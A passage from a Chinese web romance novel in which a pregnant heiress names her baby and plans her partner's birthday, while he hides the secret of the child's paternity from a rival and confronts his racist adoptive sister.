甄玉珠对他们温柔一笑,“黎总,看来你们已经见过面了,这位就是我在美国的朋友。” 第35章 第 35 章 你想我哪儿啊? 去孕妇学校的路上, 甄宝珠发现黎铮脸色不好,一双墨瞳不安稳地颤动,耳朵在听她说话, 脑子不知道在想什么。 “你怎么了?”甄宝珠问:“魏铭刚才和你说什么了?” 一定是魏铭又说了什么丧德行的话,把黎铮气懵了。 “没什么。”黎铮勉强笑了笑,抓紧她的手, 他的手心都是潮热的。 “宝珠, 你想不想出国?”黎铮忽然问她。 “出国?”甄宝珠拍拍自己的孕肚, “你看我现在这样能出国吗?” “你想不想去国外生孩子?”他又问。 甄宝珠嫌他神经, “不想,我的中国娃不生在中国生在哪里?别折腾了。” 他沉默了很久。 甄宝珠打开手机日历,二月初二那天被她专门标注, 神秘兮兮道:“你的生日快到了, 我给你准备了惊喜。” “我们去英国过生日吧,”黎铮握紧她的手, 指腹不断摩挲手背, “我想让你见见我妹妹。” “我确实挺想见你妹妹的, 要不你试试邀请她来?我们一起给你过生日。”她笑了笑,试着挣了挣手。 黎铮握得太紧,让她有点儿疼。 他默默摇头, 心里很乱,仿佛怀里抱着巨石站在悬崖边, 头顶还悬着泛寒光的利剑。 他的秘密,被最大的情敌知道了。 眼前有两个选择。 要么, 告诉甄宝珠实情。 要么,让魏铭和甄玉珠消失。 似乎都不是十分正确的答案。 他似乎陷入了某种死局,让甄宝珠知道实情, 她会伤心,让魏铭和甄玉珠消失,她也会伤心。 情感是一道最难解的题。 它没有固定的答案,也没有修正的机会。 甄宝珠对此一无所知,幸福地靠在他肩膀,“刘医生说孩子正在快速成长,情绪感知的能力也会增强,让我时刻保持愉悦心情,我和她说,我现在每天都很愉悦,因为你一直陪在我身边。” 黎铮的嘴唇动了动,最后只是低头轻吻她的头发,什么话都开不了口。 * 第二次去孕妇学校,甄宝珠已经交上了朋友,在那里和其他孕妈交流心得,才发现大家早已经给孩子起好了名字,家长们对这个都很重视,找取名社或者亲自翻阅诗经楚辞给孩子取名字。 有人问到她,她尴尬地笑,说还没开始给孩子想名字,引起其他准妈妈惊疑的目光。 “哎呀,你怎么一点儿都不上心呢?” “是呀,我看你老公来听课也比你认真多了。” “你是我见过最心大的孕妇了。” 她绞尽脑汁地想应该给孩子取个什么名字,听课也总是跑神,所以当老师说怀孕二十九周开始就不能进行性.生活的时候,她猛地直起腰,脱口而出:“什么?!” 周围的准妈妈准爸爸都回头看她,黎铮也面有窘色,对其他同学报以微赧笑容,又回头瞪她一眼。 后面的讲解她完全听不下去,扯了扯黎铮的衣服,悄咪咪说:“二十九周就不能那个了,我现在不就” “是,你现在就是二十九周,别激动。”黎铮轻拍她手背。 “可是我们还没正式”她不停眨眼,伸出一根手指插进另一只手圈起的小圆洞里。 黎铮迅速按下她的手,四下看看,小声道:“我知道,我能等。” “我等不了!”她冲他瞪眼。 “等不了也得等。”他压着声线,不开玩笑。 “” 课后她偷偷摸摸找到老师,确定了一下孕后期不能进行性.生活的科学性,得到肯定答覆之后,甄宝珠的天塌了! 晚上回到家,她也闷闷不乐,撅着嘴走进黎铮的书房,正儿八经挑出本词典上楼,拿着黎铮的钢笔,生无可恋地躺倒在床上。 她把钢笔夹在能挂油瓶的嘴唇和巧翘的鼻头之间,抱着词典翻来翻去,叫了一声在浴室洗手的黎铮。 “黎铮,你说我给孩子起个什么名字呢?别人取的名字都怪好听的,什么子涵、子豪啦,我的孩子要不要叫甄子”她翻着眼珠,拉长尾调。 “贞子?”黎铮在浴室探出头问。 “是有点儿吓人…”她把词典盖在脸上,绞尽脑汁地想,“五行倒无所谓,寓意一定要好。” 说话间,黎铮拿着几瓶预防妊娠纹的精油走出来,见她愁眉苦脸,安慰道:“慢慢想,不着急。” “我着急,人家都想好了,我娃不能输在起跑线上。”她一掀被子,穿着孕妇胸衣,露出圆鼓鼓的肚皮,盘腿坐在床上等着黎铮的专属按摩服务。 温热馨香的手指从肩颈开始揉捏,黎铮学什么都有一套,力度由轻到重,松解紧绷的筋线,手指自上而下,消解浑身的疲乏,从皮到骨,畅畅快快。 她经常被腹中胎儿坠得脊椎酸麻,腰疼腿肿,黎铮就在那些地方多下功夫,让她只想舒服地躺倒在他怀里。 头部按摩开始前他特意擦掉手上的精油,消毒湿巾擦拭手指的动作总是让她浮想联翩,指尖在头顶按揉,倒是让她灵光乍现。 “甄好,甄聪明,甄漂亮,通俗易懂的名字,你觉得怎么样?” “……”黎铮无语,本来还以为她又在自恋地夸自己。 “不好吗?”她又垂眸想了很久,“甄惜吧。” “怎么还用韩语骂人?”他捏住她的耳朵,轻轻一扯。 甄宝珠使劲儿扑棱脑袋,回头重擂他一拳,“我说孩子名字!叫甄惜。” “哪个字?如果是想要与珍惜同音,那个字也是可惜的惜,感觉有点哀伤。” 她翻了翻词典,葱白手指由上往下滑,又翻一页。 “就它了。”她举起厚词典,手指一方块字给黎铮看。 【羲】 人类始祖,太古三皇,太阳神。 黎铮暗吸口气,他是对阴阳五行不太在意,但这个字太大,他怕孩子命格压不住。 “这…不好写吧?”他说。 “其实我以前也觉得名字只要好写就行,但现在我想名字代表着母亲对孩子的感情和希冀,就像我妈给我起名叫宝珠,是物华天宝、掌上明珠的意思,这个‘羲’字指代太阳,我希望ta的人生充满光明、永远热烈。” 黎铮笑着揉乱她的头发,“你的孩子,你说了算。” “那是当然,”她心满意足抚摸肚子,“甄羲,我都不敢想其他家长得觉得我多有文化。” 他刮了刮甄宝珠巧翘的鼻尖,“我都不敢想孩子写名字的时候得哭成什么样儿。” 按摩完毕,两人相拥入眠。 甄宝珠感觉黎铮一整天情绪都不太好,她扭扭身,用圆滚滚的肚子蹭了蹭他的腹肌,“你今天好像有什么心事。” 黎铮静静抱着她,说:“没有心事,就是有点儿累了。” “伺候我让你觉得累了?” “胡说,”他低头,亲了下她的头发,“只是今天你说起我的生日,我又想到了我爸妈。” 甄宝珠把脸埋在他的颈窝,手指轻轻柔柔抚过他的伤口,说:“他们看到你又长大一岁,身边还有我这么完美的妻子,也会很开心的,你说是不是?” “嗯,”黎铮回臂捏她的脸颊,“善解人衣的完美妻子,你是什么时候解开我睡衣的?” 甄宝珠羞羞一笑,“今天我在医院看到免费的计生用品,领了一个” 黎铮把几根纤细的手指握在手心,阻拦她蠢蠢欲动的心思,“孕妇学校的老师说了,不行。” 甄宝珠丧气地努努嘴,默默转过身子,背对着他,“不行,我一看见你就忍不住,要不你去客房睡吧?” “转过来,”黎铮拉她的胳膊,手臂早已经准备好帮她垫着肚子,“听话,我们以后还有很长时间,我可以等的,反正” 她扭过身,黑亮的眼睛色眯眯看着他:“反正什么?” 他抿唇不语。 “快说,反正什么?”她兴致勃勃等着下文,见黎铮不说话,她替他说:“反正已经当了这么多年处男?” “嗯。”他承认,把她紧抱在怀里,让她的笑声传进心口。 “你以后会离开我吗?”他惴惴不安。 如果得不到肯定的答案他今夜都不会好眠。 她停下笑声,戳着他的胸口,说:“某人今天好像有点脆弱哦。” 黎铮垂眸,“那你就当哄哄我。” “哄你上床?”她笑。 黎铮没答话,短短叹息一声。 甄宝珠抬眸,认真看着黎铮,说:“我很喜欢你,不会离开你,这句话不是哄你才说。” 黎铮微怔,与她清亮的明眸对视,那双眼睛仿佛黑夜里的星。 在一个寻常的日子里,在荷尔蒙没有上头的夜晚。 她说不会离开他。 足以让他的精神高.潮。 * 黎铮不放心魏铭,调查他的所有信息,然后打电话给他。 他们单独约见,在隐秘的私人会所,灯光昏暗,温度很低,两人对面而坐。 黎铮的黑色西装矜贵肃穆、纤尘不染,他长腿交叠,姿态松弛,冷峻面容在一片暗影里更显阴翳。 魏铭穿一身干净的休闲装,刚从手术台下来,白于臂色的双手交握,平顺的面部轮廓在光亮处,眼中是淡淡的疲惫。 黎铮懒得浪费时间,开门见山:“给你一栋比弗利山庄的房子和够你一辈子挥霍的钱,这个条件,让你闭上嘴,回美国去,你接不接受?” 魏铭叹了口气,对他颐指气使的语气不耐烦:“如果你是想跟我谈条件,我可以告诉你,除了甄宝珠这个人,我什么都不想要。” “你应该知道,宝珠现在喜欢我。”黎铮笑不及眼底。 “我知道,”魏铭也笑笑,“但我也知道,她不喜欢被人欺骗,更不喜欢别人带着目的接近她。” 黎铮身躯微僵,咬了咬牙,“你现在心里很难过吧,喜欢她,她却把你当朋友,哦不,甚至都不是朋友,一个跟班、喽啰、很忠心的狗。” 这样的语言根本伤害不了魏铭,反倒让他看出黎铮的慌张,他摇头淡然道:“我从高中时候就喜欢她,比这难听的话她的前任男友都和我说过,这么多年过去了,那些人早就成了过客,我相信有一天黎总也一样。” 黎铮眯起眼,重新开始打量他。 魏铭转了转腕上的手表,又自顾自笑了一声,说:“在我看来,她所有男朋友里,你最有钱,但人格最下贱。” 接近她甚至不是见色起意。 “当我看到那张属于你的捐精表格,看到你那张道貌岸然的脸,我担心宝珠担心到整夜睡不着,可玉珠姐说她喜欢上了你,又让我觉得很可笑,早在回国前我已经调整好了心态,我知道宝珠总是三分钟热度,对什么都没有定性,她今天喜欢你,可能明天就不喜欢你。” 黎铮眯了眯眼,不由想到甄宝珠确实是这样的性格,但他自认为与别人不同,他在甄宝珠心里,一定像甄宝珠在他心里那么特殊。 他怎么可能和他们一样。 他的宝珠说过不会离开他。 她承诺过。 他冷冷道:“你应该知道,她喜欢谁都不会喜欢你吧?如果她对你表达过一点点爱情,你大概都会死缠烂打,不会允许她身边再出现别人。” “那有什么关系,我喜欢她就好,反正最后陪在她身边的那个人一直都是我。”魏铭微笑。 黎铮仰头,人无语的时候确实会笑一下,“从理性的角度,我劝你接受我的条件,以免人财两空。” 魏铭笑了笑说:“如果我不接受的话,你是不是也会拿枪对着我呢?” 黎铮的脸渐渐冷了下来。 魏铭严肃道:“我对你的了解不止于此,你是一个很危险的人,我说过了,回国之前就已经做好了准备。” “你对我的了解还是不够,”黎铮摇头:“你是个医生,我不会把枪口对准一个医生,今天我约你来,就是想要你视死如归的态度,你已经做好了准备,死亡也威胁不到你,是吗?” 魏铭眼角一抽,点了点头。 心里隐隐不安。 黎铮淡定地从西装口袋里拿出手机,按了几个数字,把手机平放在桌上。 “那么现在能威胁到你的只有甄宝珠,这通电话我要打给她,我给你机会,你现在来告诉她,她肚子里的孩子,就是我的。” 黎铮拨通电话,打开免提。 魏铭不了解黎铮,黎铮最擅长的是心理博弈。 “嘟~” 黎铮闭上眼睛,重新背靠黑丝绒沙发,仰头舒展颈椎。 “嘟~” 魏铭身体前倾,目光始终望着手机屏幕,眼镜下是左右转动的复杂眼神。 “嘟~” 黎铮在赌,拿魏铭对甄宝珠忠犬般的感情赌,他赌魏铭一直没有告诉甄宝珠的原因,是他也知道在这个关键的孕期,甄宝珠不能接受巨大的情感变故。 “嘟~” 魏铭纵然憎恨黎铮的欺骗行径,但他知道甄宝珠那个性子,怕是要天翻地覆地闹一场,他不能让甄宝珠有任何闪失,不能向她坦白事实的真相。 “喂。” 甄宝珠的声音从扬声器里传出。 黎铮睁开眼睛,锐利的双眼像一匹狼盯着猎物,伸出修长手指在魏铭眼前缓慢倒数。 “喂?” 她刚睡醒,手机贴在耳边,音色还是慵懒闲散的。 魏铭望着手机屏幕,喉结滚动了一下,手掌早已捏成拳头,两片薄唇紧抿。 “说话,黎铮~” 她有些不耐烦了,撒着娇叫黎铮的名字。 三、二、一。 倒数结束。 黎铮缓缓拿起手机,柔情的嘴唇贴着话筒,眼色里尽是温柔,当着魏铭的面,他对甄宝珠说:“我想你了。” 甄宝珠正沐浴在午后阳光里,唇角不禁上扬,颇有深意地问:“你想我哪儿啊?” 黎铮在一片暗色阴影下,关掉扬声器,说:“回家再告诉你。” 甄宝珠懒洋洋翻身,“好啊,我等你回来。” 黎铮站起身,脚步沉稳地越过落败垂丧的魏铭,他对电话里的人说:“我现在就回家。” 第35章 第 35 章 以后就是我的人。 为了黎铮的生日, 甄宝珠一直在忙活。 她本想举办个盛大的生日会,大家可以一起热闹热闹,但黎铮说年后工作忙, 只想和她简简单单过二人世界。 最后她只好把心思都花在送礼物上。 黎铮平时是个物欲很低的人,除了送她那几样礼物,她还没见黎铮豪掷千金买过什么, 他也没什么特别烧钱的爱好, 最大的爱好大概就是看书和亲她。 想来想去, 她决定去挑一对戒指, 选她自己喜欢的款式。 虽然她很喜欢手上的珍珠戒指,但总感觉样子浮夸,衬得她像个忽然暴富的水产大王。 况且她也想让黎铮戴上婚戒, 那双手戴上婚戒肯定会更性感。 她那挑剔的审美在挑选戒指的过程中淋漓发挥, 刻薄的言语搞垮了好几家专柜店长的心态。 “太宽,像个顶针, 我奶要是还活着肯定喜欢。” “你在跟我开玩笑吧, 这钻石都没有黄金矿工里那个大。” “这设计请问您家设计师今年高寿?” 她选了几天, 看得烦躁,干脆拿出纸笔,用幼儿园的绘画水平画了一幅极草的草图, 让设计师照着她的草图设计。 设计师叫她去定设计稿的那天,甄宝珠把游悠也拉去了, 3D视图极好地呈现出了她的想法。 女款是五克拉的鸽血红宝石、方形切割,莫比乌斯环戒圈内嵌一圈钻石。 男款戒圈低调, 也是莫比乌斯环,只不过细碎的红宝石镶嵌在手掌一侧,黎铮的手不适合戴宽版戒指, 窄款的戒指更能衬托修长 甄宝珠说:“我是这样考虑的,男士戒指不宜浮夸,红宝石像征着热情似火的我,他摊开手掌就能看到我,托腮的时候就像我在摸他的脸,打领带的时候就像我在帮他打领带” 游悠小声续道:“你要这么说,你可能还会帮他扶着把尿” 甄宝珠的脸瞬间发热,她从来没想这种角度,倒更确定了这个设计还有更多可开发性。 游悠看着甄宝珠小脸通黄,一副没被深入过的娇羞模样,忍不住问她:“你们不是做过吗?” “一直是边缘,准确来说是他做我,我没做过他,”甄宝珠叹了口气,有些遗憾道:“现在又是孕晚期。” 游悠的眼珠不停打转,眉梢也皱得紧,却一直欲言又止。 “怎么了你?内急啊。”甄宝珠打趣她。 “你家黎铮最近是不是挺忙?”游悠问。 “嗯,”甄宝珠还在欣赏自己的设计,漫不经心答:“很多项目都要在年后启动,他整个人忙到飞起。” 游悠垂了垂眼睫,撇嘴不屑道:“忙到飞起,飞到酒店里去了。” 甄宝珠抬眸,“你瞎说什么呢?” 游悠有点儿纠结,心一横,说:“我今天和刘白从酒店出来的时候,好像看到黎铮了” “你看错了吧。”她笑了笑,并不在意。 游悠迟疑了会儿,又摇头,“怎么可能,我看错他人,能认错车吗?全京市有几辆那样的车?” “那大概是去酒店开会。” “你这么放心他?” “他身边秘书都是男的,我有什么不放心。” 游悠越想越不对劲儿,说:“可他是一个人出来的,没有助理和秘书跟着。” 甄宝珠戳了戳游悠的脑袋瓜,玩笑道:“不许挑拨我们夫妻关系啊,是不是魏铭教你这么说的?你俩狼狈为奸,想拆散我们。” 游悠耷拉着头,瞥她一眼,“你说什么呢?我可是你的嫡长闺,肯定是要为你好的,只是” 被甄宝珠这么一说,游悠也有点儿怀疑自己。 “你说这个鸽血红换成宝石蓝或者祖母绿怎么样?是不是更沉稳一点儿?”甄宝珠对这件事倒是很上心。 游悠心不在焉,“别是绿帽绿就行。” 甄宝珠笑笑,装作要打她的头。 “宝珠,我真得提醒你,你得把黎铮拴紧点儿。” “我拿个狗链子拴?稍息我都不拴。”甄宝珠净和她开玩笑。 “你就一点儿危机感都没有?他那个长相,一看就净惹风尘,你现在碰不得,难保他不会有别的心思,孕期出轨这种事我可是没少听说过。” “放心吧,黎铮不会。” 她才不相信黎铮会出轨,他去个母婴店都得注册准妈妈的身份,自控能力更是没得说,最重要的是,她相信黎铮不会做出任何伤害她的事。 * 甄宝珠回到家,黎铮正在厨房忙活,亲手给她做健康低脂的晚餐。 他在流理台认真洗菜,稍息坐在他脚边,仰着脑袋,期待食物掉落,一副兄友弟恭的美好景象。 “又吃甘蓝啊?”她在厨房门口探脑袋。 “嗯。”他回头冲她笑笑。 甄宝珠站在他身后拥抱他,饱满的肚皮和日渐圆润的脸贴在他后背。 “吃完饭陪你出去散步,医生说这个阶段多走走,对你有好处。”他转身给甄宝珠喂了一颗小柿子。 “你天天把我当兔子喂,我怎么还能胖呢?”甄宝珠摸了摸越来越大的肚子。 “孩子在长大,”黎铮顿了顿,又说:“巧克力和零食你也没少吃,怎么听着像我虐待你呢?” 甄宝珠咧嘴一笑,在他后背蹭了蹭脸,特别喜欢闻他身上的味道,鼻尖贴着衬衫闷闷问道:“你今天去酒店了?” 黎铮切菜的动作行云流水,笑问:“你也找人监视我了?” “我才不像你那么无聊,是游悠说在酒店看到你了。” “在酒店开会,是很无聊。”他说。 “我知道,我也是这么告诉她的。”她转身去冰箱里拿水果。 黎铮切菜的动作慢了下来,“这么相信我?” “我是相信我的魅力和眼光。”她得意道,心里还在想她自己设计的那对戒指。 “自恋”黎铮揉乱她的头发。 饭菜上桌,甄宝珠也真饿了,吃得抬不起头,黎铮垂眸看着手机,屏幕上有一条短信。 [谢谢你叫的客房服务。] 他抬眼看了下甄宝珠,默默删掉短信,合上手机,冲甄宝珠笑了笑。 * 除去戒指,甄宝珠还找到一家DIY烘焙坊,打算亲手给黎铮做个蛋糕。 关于蛋糕的装饰,她的想法很简单,用3D打印技术做出她和黎铮的卡通人偶,还有稍息的小手办。 一家人整整齐齐。 她实在不属于心灵手巧那一挂,但勤能补拙,爱因斯坦小时候不也做了好几个小板凳? 黎铮说下午要见客户,她就偷摸去学习做蛋糕。 那些纯白色奶油满屋飘香,她真的好馋,但还是忍住了,把自己感动得一塌糊涂,想着黎铮看到她亲手做的蛋糕不知道该感动成什么样子。 会不会哭? 她捂着嘴笑。 光是学习写黎铮的名字,就学了一下午,拉线膏挤得手都酸困,她在心里暗骂黎铮名字复杂,怎么看都是一坨。 想打电话骂他,打了几个都没有接通。 她只好打给关林,一接通她就火急火燎地说:“你把电话给黎铮。” 那边愣了几秒钟后说:“黎总正在见客户。” 电话那头嘈杂,拍打篮球的声音格外清晰。 “黎铮在体育馆见客户?”她问。 “黎总今天见客户没带我,我、我请年假了。”关林答。 “哦,那你好好锻炼身体吧。”甄宝珠垂着眼睫困惑,心想关林不是黎铮的人形挂件吗? 她转头再给黎铮打电话,对方正在通话中,她把手套摘下来,再打关林的电话,对方也在通话中。 她正要胡思乱想,黎铮的电话打来了。 “怎么了?刚才手机静音。”黎铮说。 “你刚才在和谁打电话?”她问。 “关林,他跟我说你找我,然后你的电话就打进来了,我刚要接,你又挂断了。” “哦~” 她努嘴,又重新拿起奶油筒,笑意浅浅问他:“你猜我在干嘛呢?” “”黎铮停顿片刻,声音冷静,“猜不到,你告诉我。” 她笑:“我不告诉你,给你惊喜。” 练习完已经是傍晚,她回到家,黎铮刚从浴室里走出来,裹着半身浴巾,头发半湿,薄薄的皮肤泛着点点水光,水珠在线条流畅的腰腹肌肉慢速滑滚,仿佛也不想离开他身上。 甄宝珠色眯眯盯着,对他的健身成果上下其手,“你也想给我惊喜?” “流氓。”他揽过甄宝珠,双手捧住她的脸,勾起她的下巴,双唇压在酒窝上。 甄宝珠立刻挪脸躲开,扶着腰身说:“怕了你了,别再亲我酒窝了,好几天才能褪下去。” 黎铮意犹未尽,舔了舔唇,“腰又疼了?去卧室躺下,我一会儿给你揉。” 她欢天喜地挑出精油走进卧室,黎铮的衬衫搭在床尾,她一走过,就嗅到不属于她的味道 馥郁浓烈的香水味。 她停住脚步,拿着衬衫转头问黎铮:“你今天见的是女客户?” 黎铮摸了摸鼻尖的水珠,“是啊,香水味浓,我还怕你多想,特意洗了个澡。” “切~”她轻飘飘把衬衫扔在他身上,“衬衫也洗洗。” 她乖乖躺在床上等着黎铮,黎铮攥紧手里的衬衫,扔进了垃圾桶里。 * 二月初二,凌晨。 甄宝珠把熟睡的黎铮吻醒。 他对生日不上心的程度让甄宝珠诧异,她想到要送礼物都兴奋地睡不着。 黎铮睡眼惺忪,正要回应她的吻,却被她塞了个冰凉的圆环在唇中。 她撑着胳膊看他嘴唇抿着戒指,像一个精致的展示台。 黎铮揉了揉眉心,把圆环捏在指尖,红宝石在黑暗中泛着热烈的光彩。 甄宝珠挑眉,故作散漫,“送给你,生日礼物。” “婚戒?”黎铮笑了笑,也注意到她无名指上耀眼的红宝石戒指。 甄宝珠拉起他的手,给他戴上圆环,说:“戴了我的戒指,以后就是我的人。” “为什么你的宝石大得晃眼,我的却这么小?”他戏谑又懒散地拥她入怀。 “有就不错了,这是我自己设计的,好看吧?”她得意洋洋,纤细的手指在他眼前晃来晃去。 两枚戒指轻轻碰在一起,手心的掌纹也紧贴在一起,黎铮用睡意慵懒的声调轻轻问她:“你刚才是在向我求婚吗?宝宝。” “那你愿意跟我吗?”她调笑问道。 黎铮圈住她的肩膀,把人摁在怀里,下巴抵在她的发顶磨蹭,“早就愿意了,生是你的人” 话没说完,甄宝珠仰起脑袋,用艳红的软唇堵他的嘴,不许他说什么不吉利的话,她轻轻揉捏他的耳垂,落下零零碎碎的吻,像羽毛的轻抚。 “生日快乐,阿铮。”她亲了亲他的眉骨。 黎铮眯着眼睛,唇边泛起笑容,把她拥入怀中,困倦的声音在她耳边轻喃:“我想每天都过生日。” * 当天上午,黎铮还要去公司,走之前告诉甄宝珠中午回来和她一起吃饭,她和往常一样装着美梦被打扰的样子,哼哼唧唧回应。 黎铮一走她就从床上弹起来,洗漱完毕就开车去烘焙坊。 上午十点,甄宝珠好不容易把蛋糕胚都抹平整,挑了一个粉色的裱花挤上去,特意拍了张照片发给游悠,炫耀一番自己的成果。 游悠随后发来一段语音。 “宝珠今天我和刘白去看房,在市中心的独栋别墅看到黎铮了,他带着一个外国女人,我感觉特别眼熟,肯定是在酒店见过,你说黎铮是不是在这儿给她买房了?” 游悠发来一张偷拍的照片,黎铮穿着早上出门的那套西装,正微笑着为对方打开车门,金发女人穿一条红色长裙,手搭在他的肩膀上,两个人看起来很亲昵。 甄宝珠手一抖,手机直直摔进蛋糕里。 她心里莫名慌乱,把手机从塌陷的蛋糕里拿出来,用手套胡乱抹去上面的奶油,结果屏幕越抹越模糊。 黎铮明明说上午要去公司。 不不,她应该相信黎铮。 她摘下手套,连续打了几个电话给黎铮,打第四通电话时,黎铮才接,她忙问:“你在哪儿?” “我在公司,忙完就回家,没忘了中午的饭。”他的声音平稳、温柔。 “可是” 她看了一眼烘焙坊来往的员工,有话却问不出口。 “怎么了?宝珠。”黎铮问她。 她皱着眉头,紧咬唇壁,最后说:“回去再说吧。” 挂断电话,她让烘焙坊的老师重新给她一个蛋糕胚,再制作的时候却总是心不在焉。 仔细回想最近黎铮的状态,她后知后觉地想起那些反常的细节,可那是黎铮,她不应该怀疑他,应该听听他的解释。 怀着复杂的心情,她的蛋糕也做得一塌糊涂,蛋糕店店主问她需不需要她们帮忙做一个。 她看着蛋糕上乱七八糟的字体,心里更乱,摇头说:“不用,帮我包装吧。” 进家门之前,甄宝珠仍愿意相信黎铮可以给她一个合理的解释。 推开家门,一袭红裙站在落地窗旁,金发女人回头和她对视,甄宝珠的心忽然像垮塌的蛋糕,重重地跌落在地上。 第37章 第 37 章 生日快乐。 “BITCH!” 甄宝珠一腔怒火, 几步上前,抬手给了女人一个响亮的耳光,稍息护主心切, 也站在甄宝珠身后呲牙干嚎,尖叫声、狗叫声此起彼伏,场面一时混乱无比。 黎铮远远听到甄宝珠叫嚣, 从厨房快步迈到她身边, 攥紧她的手腕拦住她。 她挺着肚子, 不停往前扑, 嘴里骂骂咧咧:“你还敢到我家来讨打,son of bit” 黎铮捂住她的嘴,禁止她把那句带妈的脏话再说下去, “宝珠, 你冷静点儿,她是我妹妹。” 甄宝珠被气得浑身颤抖, 听到黎铮的话, 登时愣在原地。 此时保镖闻声进门, 几人挡住同样气急败坏的女人,以防她伤到宝珠小姐。 “你妹妹是个外国人?”她恨恨推开黎铮,指着他的脸斥问:“你骗谁呢?!” 黎铮不知道发生了什么事, 皱眉道:“她叫朱莉,是我爸妈捡到的孩子, 养女。” “我当然知道她叫朱莉,我”甄宝珠刚要破口大骂, 忽然顿住。 她后退两步,目光审视着黎铮和朱莉。 脑子忽然宕机了。 甄宝珠不可置信地摇头,“不可能, 她怎么可能是你的妹妹?” “他就是我哥哥,这是我哥哥的家,你这个不要脸的婊子,滚!”朱莉捂着被扇肿的脸,用母语对甄宝珠嘶吼。 甄宝珠无心理会聒噪的叫骂,目光直直盯着黎铮,眼中的情绪无比复杂。 “你不是说想见我妹妹吗?”黎铮说:“我想着生日把妹妹叫来,让你们见面” 这本是他为甄宝珠准备的惊喜。 他想让甄宝珠见见他唯一的家人,以此表明他是认真对待这段感情的。 哪知甄宝珠冷冷笑了一声,拎起包包,转身就走,头也不回。 朱莉被保镖拦着,还在大声嘶喊:“让她滚!” * 甄宝珠快步疾行,气愤地走到车库,却被黎铮按住她打开的车门。 他眉间蹙着一团雾:“你到底怎么了?” 甄宝珠愤恨又委屈的目光迎着他的困惑,气息都无法调整匀称,她动了动唇:“黎铮,那个因为种族歧视被我打的女人,让我无法读完大学的女人,现在就站在你的房子里!” “她是你妹妹!” 外面天气很冷,甄宝珠嘴边带着雾气,说出的话像冰锥一样扎进黎铮的心里。 冷空气渗入皮肤,直达肺腑。 世界又颠倒了,在他生日这天。 “不可能。”他僵愣在原地。 甄宝珠气极,狠推开他,“我不管你信不信,我一秒钟都不能跟她待在一起,你必须在我和她之间做出选择,你要你这个妹妹,我就跟你离婚!” 车门一摔,油门一轰,路虎揽胜飞速驶离。 黎铮望着甄宝珠的车尾灯,呼吸都停滞住。 冷风中站了会儿,他的头脑也冷静下来,他确信甄宝珠不会拿这种严肃的事情开玩笑,他倒宁愿是她开了一个没有底线的地狱玩笑。 你们从小养大的妹妹,歧视你们。 他把整张脸埋进手掌,用力搓了搓,鼻腔被冷空气封住,一呼一吸都很痛。 * 黎铮带着一身寒烈之气回去,看了一眼被朱莉踢到墙边的蛋糕,目光瞬间变得冰冷。 朱莉正坐在沙发蔑视围在她身边的保镖。 他的妹妹,长着白色皮肤,浅金色头发,灰蓝色的眼珠,他看着她从小长大,自然知道她长得和他们不一样,如今他抛去亲情滤镜,只看到她刻薄粗鲁的样子。 “都出去,在门外等。”黎铮坐在对面沙发。 待保镖走后,朱莉指着自己被扇肿的脸颊,破口大骂:“那个女人是泼妇,爸妈都没打过我,我不管她是什么人,你必须跟她离婚!” 离婚, 黎铮现如今最听不得这个词。 他双腿交叠,轻敲扶手,沉默了很久,抬起冰冷目光,惯熟的英文缓缓问道:“朱莉,你是种族歧视者吗?” 黎铮始终观察着她的表情,捕捉到一瞬间的慌张。 那一刻,她不用说话,他都懂了。 她急切地站起身,“哥哥,她跟你说了什么?你不要相信她,她说的都是谎话!” “回答我的问题,”黎铮言语冷酷严肃,“被我们养大是不是让你感觉很屈辱?” 这个被吸毒的父亲扔在中餐馆门口的女婴,让他的父母万般宠爱的姑娘,不惜他搭上命也要得到一台车作为礼物的妹妹,竟然从心里歧视他们的肤色。 傲慢,真的是刻在骨子里的。 朱莉咽了下唾沫,慌忙解释:“哥哥,你不要听信她,她是不是说了那件事?当时是她反应过度,我只是跟她开了个玩笑,教授都说我没有错,全是她的错” “你在学校被打,为什么回家不告诉我们?”黎铮眯起眼睛,“你不敢,你不敢告诉我,你歧视一个中国女孩,却挨了对方的耳光。” “……” 黎铮的眼睛像一片平静的深海,唇边扯起无奈的笑意,“你知道那样的手势我见过多少次吗?没有一次玩笑,百分之百的恶意。” 即便现在看着朱莉,他也想像不出来,妹妹作出歧视手势是什么样子。 她小时候很乖巧,接受的是父母传统的中式教育,自从进入青春期,朱莉就像变了一个人,餐馆她是不愿意去的,学校里是不愿意跟他打招呼的,就连家长会朱莉都没告诉过家里人。 其实他当时能理解她,朱莉也许有着和他一样的困惑,他认为这是成长的必经之路,况且朱莉很聪明,他相信只要心理成熟到一定程度,她也能像他一样认可自己的身份。 可他没想到。 或许他应该早就察觉的,如果他察觉到事情有严重发展的倾向,他也许会和朱莉进行几次交心的谈话,他会帮助她疏导心里的困惑和反叛,也许甄宝珠就不会被她侮辱。 是不是甄宝珠就不用退学? 一直以来他都把父母去世的所有罪责包揽,是他没有做好一个哥哥,妹妹痛恨的仅仅是他,他对朱莉极度补偿,给她最好的生活,送她去想去的国家,读想读的学校。 但他想错了,不论他做什么补偿,朱莉都觉得是应该的,仿佛她进入到他的家庭,他们就都欠她的,她索求无度,她把自己放在高高在上的位置,对他们付出的一切,一面心安理得地接受,一面嗤之以鼻。 他回想起父母去世时,她说的那些话,当时他觉得妹妹是悲痛过度,现在看来,她想要的真的是钱,想用他的死换富豪的钱。 够了,他真的受够了。 “我要你去向甄宝珠道歉。”他面容冰冷,语气寡淡。 朱莉扬着被扇肿的脸,不敢置信地问:“什么?你让我去向你认识几个月的婊子道歉?哥哥,你清醒一点!是她打了我,她当初打我,今天还打我,真正受伤的人是我!我绝对不可能和她道歉!” “我愿意再给你一次机会,最后一次。”黎铮说。 朱莉不屑一顾,从小被黎铮护在手心,她才不相信黎铮会舍断亲情,亲情在他心里是多么重要啊,她在他心里是多么重要啊!她是如此确信可以拿捏黎铮! “我不会向她道歉的,如果你还当我是你妹妹的话,你离开她,抛弃她,和我一起去英国。” 扔下她和她的孩子,朱莉一定要报复她。 黎铮深深叹息,已经无话可说。 “朱莉,你的车,你的房子,你的信托基金,我都会收回来,”黎铮淡淡地说,语气甚至是礼貌的,“以后我不想看见你。” 朱莉张着嘴,震惊到说不出话,“哥哥,你不要我了吗?” “我曾有过你这样的妹妹,是可以刻在墓碑上的耻辱,我为你花的最后一笔钱,是让你滚出我生活的机票。”他闭上眼睛,仿佛下定了一个决心,一字一顿说:“我不需要你原谅我,因为我也不会原谅你。” 下定决心之后就不会有一丝犹豫,他起身离开,不愿再和她说一句话。 